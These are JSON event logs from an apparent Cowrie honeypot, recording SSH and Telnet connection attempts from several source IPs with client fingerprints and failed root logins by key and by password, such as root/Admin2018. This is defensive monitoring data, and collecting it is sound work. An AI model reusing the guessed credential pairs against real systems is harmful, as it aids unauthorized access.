{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:17:37.126611Z","src_ip":"62.182.85.212","session":"625208500e27","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5c:e4:35:5d:a6:28:40:38:b2:ab:e1:c8:7b:94:ae:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJvy1e+kc6gPr2DNyv9jYwoX4RTYSqMHrAKznSZ0kecx0VFIh4u7NUkFJ1j7tALRhdaJpwE5WEupnDShNlV9nLTzo4u1iNjjLs78H2BTXpiwBZjmLlBGrMV1CfjGaoT+y3vLtfCCao/NFLnF7T3xP0wxryCvcOZJyepmzQ3qtZr7r5VY/T4Dujll/DMPE9NEOzb2q0X9L9DVKdmxRQKzejW7B3Eb4CMn2cn9HUSMGLE/eRc7SL3zZUXAjHEnRvyiE0dUFittVdpm0Wa+vtTRN2hfnyJ3gvvVEjzZ+98NE2VcMXBwVl0j/hORLWZ5fDrNUnj7VMkkJU7SF73T2Hj6s7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5c:e4:35:5d:a6:28:40:38:b2:ab:e1:c8:7b:94:ae:82","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:17:37.665366Z","src_ip":"62.182.85.212","session":"625208500e27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5c:e4:35:5d:a6:28:40:38:b2:ab:e1:c8:7b:94:ae:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJvy1e+kc6gPr2DNyv9jYwoX4RTYSqMHrAKznSZ0kecx0VFIh4u7NUkFJ1j7tALRhdaJpwE5WEupnDShNlV9nLTzo4u1iNjjLs78H2BTXpiwBZjmLlBGrMV1CfjGaoT+y3vLtfCCao/NFLnF7T3xP0wxryCvcOZJyepmzQ3qtZr7r5VY/T4Dujll/DMPE9NEOzb2q0X9L9DVKdmxRQKzejW7B3Eb4CMn2cn9HUSMGLE/eRc7SL3zZUXAjHEnRvyiE0dUFittVdpm0Wa+vtTRN2hfnyJ3gvvVEjzZ+98NE2VcMXBwVl0j/hORLWZ5fDrNUnj7VMkkJU7SF73T2Hj6s7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:17:37.669291Z","src_ip":"62.182.85.212","session":"625208500e27","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dd:5c:27:4e:27:e6:90:e9:20:83:65:1d:36:cd:f6:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAsmML4IKO+rKsnhJAOW9KzO95aZ4KiN8tPAW6kMxyN1mp4U4II9AhziUkaZ4SeId9dZhfzRq9uK7AHvgflIKT85KknJKI/FtnT/38atnyMv9FAGWy5HAEoCv+6WcZW3SbjlvEoAy85PzpNl2IJRc6vESzAnPN+ocjz7jpJTVdwNz+G5GPjZ+9ri8KuU/EBiwBbjMw6sX4FMuqwlLDXSwgEVJTvOqjutDcFMzEiOwVY3GQIr2FAgNQkv1ptzyKmsnM23KMWsWmsCG3dAfrd/KkH4DB/QqwZeXvCeZX5iI0h9M+ujEjwCfPihTAKALQgcyWfT/Z3g1Vd0NyZ1cbuU2R4s9p7WdwSfE9yYqtvCILivfR727ZMBpQDG9nUGk5tOA/a53ZegPmbz7vT6lsGL36quuLExB91NGG/RJee3BBoDrB+JykQeqhIY22ND8Dgb55HFi1kaCobaFXEj8SFc6dhN9e6M/3kj4BHO/mEgVGCO0nbXW4Dxn0gr5C+EKlqWA0atNr2nVwidUS7v6dHOHqqySKAMBaNbA7zzfgtC+9uh8V4OUFHHmrBmLZ7phic8vid42/hvi7R05nnA7TQrsNYm1RoKT7dcay7/uL1oEGsjOE/3sRJ8Dq/twEOuzogncf0B1Vv7AiL+fzx2nY5ySZ/60sokzc57HKqmUHpgg0p3E=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dd:5c:27:4e:27:e6:90:e9:20:83:65:1d:36:cd:f6:f6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:17:37.782053Z","src_ip":"62.182.85.212","session":"625208500e27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dd:5c:27:4e:27:e6:90:e9:20:83:65:1d:36:cd:f6:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAsmML4IKO+rKsnhJAOW9KzO95aZ4KiN8tPAW6kMxyN1mp4U4II9AhziUkaZ4SeId9dZhfzRq9uK7AHvgflIKT85KknJKI/FtnT/38atnyMv9FAGWy5HAEoCv+6WcZW3SbjlvEoAy85PzpNl2IJRc6vESzAnPN+ocjz7jpJTVdwNz+G5GPjZ+9ri8KuU/EBiwBbjMw6sX4FMuqwlLDXSwgEVJTvOqjutDcFMzEiOwVY3GQIr2FAgNQkv1ptzyKmsnM23KMWsWmsCG3dAfrd/KkH4DB/QqwZeXvCeZX5iI0h9M+ujEjwCfPihTAKALQgcyWfT/Z3g1Vd0NyZ1cbuU2R4s9p7WdwSfE9yYqtvCILivfR727ZMBpQDG9nUGk5tOA/a53ZegPmbz7vT6lsGL36quuLExB91NGG/RJee3BBoDrB+JykQeqhIY22ND8Dgb55HFi1kaCobaFXEj8SFc6dhN9e6M/3kj4BHO/mEgVGCO0nbXW4Dxn0gr5C+EKlqWA0atNr2nVwidUS7v6dHOHqqySKAMBaNbA7zzfgtC+9uh8V4OUFHHmrBmLZ7phic8vid42/hvi7R05nnA7TQrsNYm1RoKT7dcay7/uL1oEGsjOE/3sRJ8Dq/twEOuzogncf0B1Vv7AiL+fzx2nY5ySZ/60sokzc57HKqmUHpgg0p3E=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:17:37.786173Z","src_ip":"62.182.85.212","session":"625208500e27","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b5:90:94:77:b4:e3:9d:35:2e:07:44:4b:84:d0:0a:3a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4sgXUewYFJ22YXPp2tRHK/Fyx19znZqZoki5fgqzCiuOhkmy1KmAeZqJqNp2wRdHQ60fUeWFwVEZVOfjSTLixlhta9nzGH9xNu7JS0f6RO29sCnT/eWBNRZzXczcW+xcbzgMuyZs8MlpHBz7QPvvDriO3j94lnJny7clGT5dG7gk2TK8kN9ahlZRAKS1IGEcJZHjziGFu9B+Hcd/u5/UCLuEcDCBsVTslbQiuDoAv/oYSkylfI4LPzuvuVQRQKvEsYadQV6B5eB8xGbiv5KXlfvNMpYkRdVxXpCfaJQz98cvCEJv693d3Y191i63M8m43ec9qyA/TMc1UILorKgLt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b5:90:94:77:b4:e3:9d:35:2e:07:44:4b:84:d0:0a:3a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:17:37.902384Z","src_ip":"62.182.85.212","session":"625208500e27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b5:90:94:77:b4:e3:9d:35:2e:07:44:4b:84:d0:0a:3a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4sgXUewYFJ22YXPp2tRHK/Fyx19znZqZoki5fgqzCiuOhkmy1KmAeZqJqNp2wRdHQ60fUeWFwVEZVOfjSTLixlhta9nzGH9xNu7JS0f6RO29sCnT/eWBNRZzXczcW+xcbzgMuyZs8MlpHBz7QPvvDriO3j94lnJny7clGT5dG7gk2TK8kN9ahlZRAKS1IGEcJZHjziGFu9B+Hcd/u5/UCLuEcDCBsVTslbQiuDoAv/oYSkylfI4LPzuvuVQRQKvEsYadQV6B5eB8xGbiv5KXlfvNMpYkRdVxXpCfaJQz98cvCEJv693d3Y191i63M8m43ec9qyA/TMc1UILorKgLt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:17:37.905614Z","src_ip":"62.182.85.212","session":"625208500e27","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d7:0e:12:4e:51:03:8c:3e:d4:29:05:34:5e:b3:d7:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5Mab+hTV4AXJq1yuJlEkB2RhAgSOSixasLQSUwsvHUoY9SVMKxN46maXQ79MeAn/lo49OgdwMQcFdsXjueq7JbNQsRj1KS67wG8xR4238c163sPNKZgudnDbrSvNHe23bJIByl4P44FpKwKyG8xit99M1AbIhgC067X/UYWtdFxnXu2f5FaGkamzGvsn6RNcewamInIJ9+fUTgpdX5GE3TIuXhz2VTIGEhdihGuXfcjRCzqJk4iliQcbQaDmvkrGEQ8A28ZBHsOWrE5TOTiuBdOaSO4p7cxwLF/4fwi+zXoPNbBKaCMtOvgs+iOZaeih8Uog67pO4mYJgULcFJO6v","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d7:0e:12:4e:51:03:8c:3e:d4:29:05:34:5e:b3:d7:87","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:17:38.023897Z","src_ip":"62.182.85.212","session":"625208500e27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d7:0e:12:4e:51:03:8c:3e:d4:29:05:34:5e:b3:d7:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5Mab+hTV4AXJq1yuJlEkB2RhAgSOSixasLQSUwsvHUoY9SVMKxN46maXQ79MeAn/lo49OgdwMQcFdsXjueq7JbNQsRj1KS67wG8xR4238c163sPNKZgudnDbrSvNHe23bJIByl4P44FpKwKyG8xit99M1AbIhgC067X/UYWtdFxnXu2f5FaGkamzGvsn6RNcewamInIJ9+fUTgpdX5GE3TIuXhz2VTIGEhdihGuXfcjRCzqJk4iliQcbQaDmvkrGEQ8A28ZBHsOWrE5TOTiuBdOaSO4p7cxwLF/4fwi+zXoPNbBKaCMtOvgs+iOZaeih8Uog67pO4mYJgULcFJO6v","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:17:38.028098Z","src_ip":"62.182.85.212","session":"625208500e27","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"70:d0:39:82:89:4c:1a:2a:a9:79:80:ee:31:dd:13:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDN83TaBv1b8aXgqYDT9ZNEQu8soIql/CL+FYxl8noXlLBzo1AAEn/evYrSKHhI8sTjG5JP62uEVYI6YR54aFEXY3/ZtCLbXHN52HsL7kcn95jeEbBiqPmXdD758fwOmi6nuEk7QiVdVng4Ak9qYZA87enNcjAklBNUvZFXHyO8FLLKhlosqepRRGgh6WmufF6DNOCvIak0PlJrtnhjl45HGOMZGZUoumaV+765jZi4bYVfVid/ZI2iDCzofEipAt1jX2PjsM9RUe6vBCnkb4XyEQK697SJm/NtDYR5B+QggKa5Id6eJSEJYPYjXKqC/3cyafIgnr4A39gpRxCr68lH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 70:d0:39:82:89:4c:1a:2a:a9:79:80:ee:31:dd:13:e6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:17:38.141238Z","src_ip":"62.182.85.212","session":"625208500e27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"70:d0:39:82:89:4c:1a:2a:a9:79:80:ee:31:dd:13:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDN83TaBv1b8aXgqYDT9ZNEQu8soIql/CL+FYxl8noXlLBzo1AAEn/evYrSKHhI8sTjG5JP62uEVYI6YR54aFEXY3/ZtCLbXHN52HsL7kcn95jeEbBiqPmXdD758fwOmi6nuEk7QiVdVng4Ak9qYZA87enNcjAklBNUvZFXHyO8FLLKhlosqepRRGgh6WmufF6DNOCvIak0PlJrtnhjl45HGOMZGZUoumaV+765jZi4bYVfVid/ZI2iDCzofEipAt1jX2PjsM9RUe6vBCnkb4XyEQK697SJm/NtDYR5B+QggKa5Id6eJSEJYPYjXKqC/3cyafIgnr4A39gpRxCr68lH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:17:38.145649Z","src_ip":"62.182.85.212","session":"625208500e27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:17:38.259878Z","src_ip":"62.182.85.212","session":"625208500e27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.140.193.156","src_port":35928,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4b022131070","protocol":"ssh","message":"New connection: 45.140.193.156:35928 (10.17.0.5:22) [session: f4b022131070]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:18:01.052678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:18:01.170956Z","src_ip":"45.140.193.156","session":"f4b022131070","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:18:01.281432Z","src_ip":"45.140.193.156","session":"f4b022131070","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"s","password":"s","message":"login attempt [s/s] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:18:01.776522Z","src_ip":"45.140.193.156","session":"f4b022131070","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:18:02.902598Z","src_ip":"45.140.193.156","session":"f4b022131070","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":37544,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcf95034d7ba","protocol":"ssh","message":"New connection: 38.93.206.2:37544 (10.17.0.5:22) [session: bcf95034d7ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:18:32.195891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:18:32.200433Z","src_ip":"38.93.206.2","session":"bcf95034d7ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:18:32.250051Z","src_ip":"38.93.206.2","session":"bcf95034d7ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"04061983","message":"login attempt [root/04061983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:18:32.414829Z","src_ip":"38.93.206.2","session":"bcf95034d7ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:18:33.467440Z","src_ip":"38.93.206.2","session":"bcf95034d7ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00278973579407,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:18:35.472402Z","src_ip":"94.23.66.112","session":"ad2279003b2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":50148,"dst_ip":"159.203.135.109","dst_port":22,"session":"5cc50994016a","protocol":"ssh","message":"New connection: 27.71.230.31:50148 (159.203.135.109:22) [session: 5cc50994016a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:18:48.523499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:18:49.110927Z","src_ip":"27.71.230.31","session":"5cc50994016a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:18:50.571459Z","src_ip":"27.71.230.31","session":"5cc50994016a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin2018","message":"login attempt [root/Admin2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:18:55.144537Z","src_ip":"27.71.230.31","session":"5cc50994016a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.7","message":"Connection lost after 9.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:18:58.224695Z","src_ip":"27.71.230.31","session":"5cc50994016a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":48930,"dst_ip":"10.17.0.5","dst_port":22,"session":"52bced0e3804","protocol":"ssh","message":"New connection: 117.121.214.50:48930 (10.17.0.5:22) [session: 52bced0e3804]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:19:04.802754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:19:04.807244Z","src_ip":"117.121.214.50","session":"52bced0e3804","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:19:05.049051Z","src_ip":"117.121.214.50","session":"52bced0e3804","protocol":"ssh"}
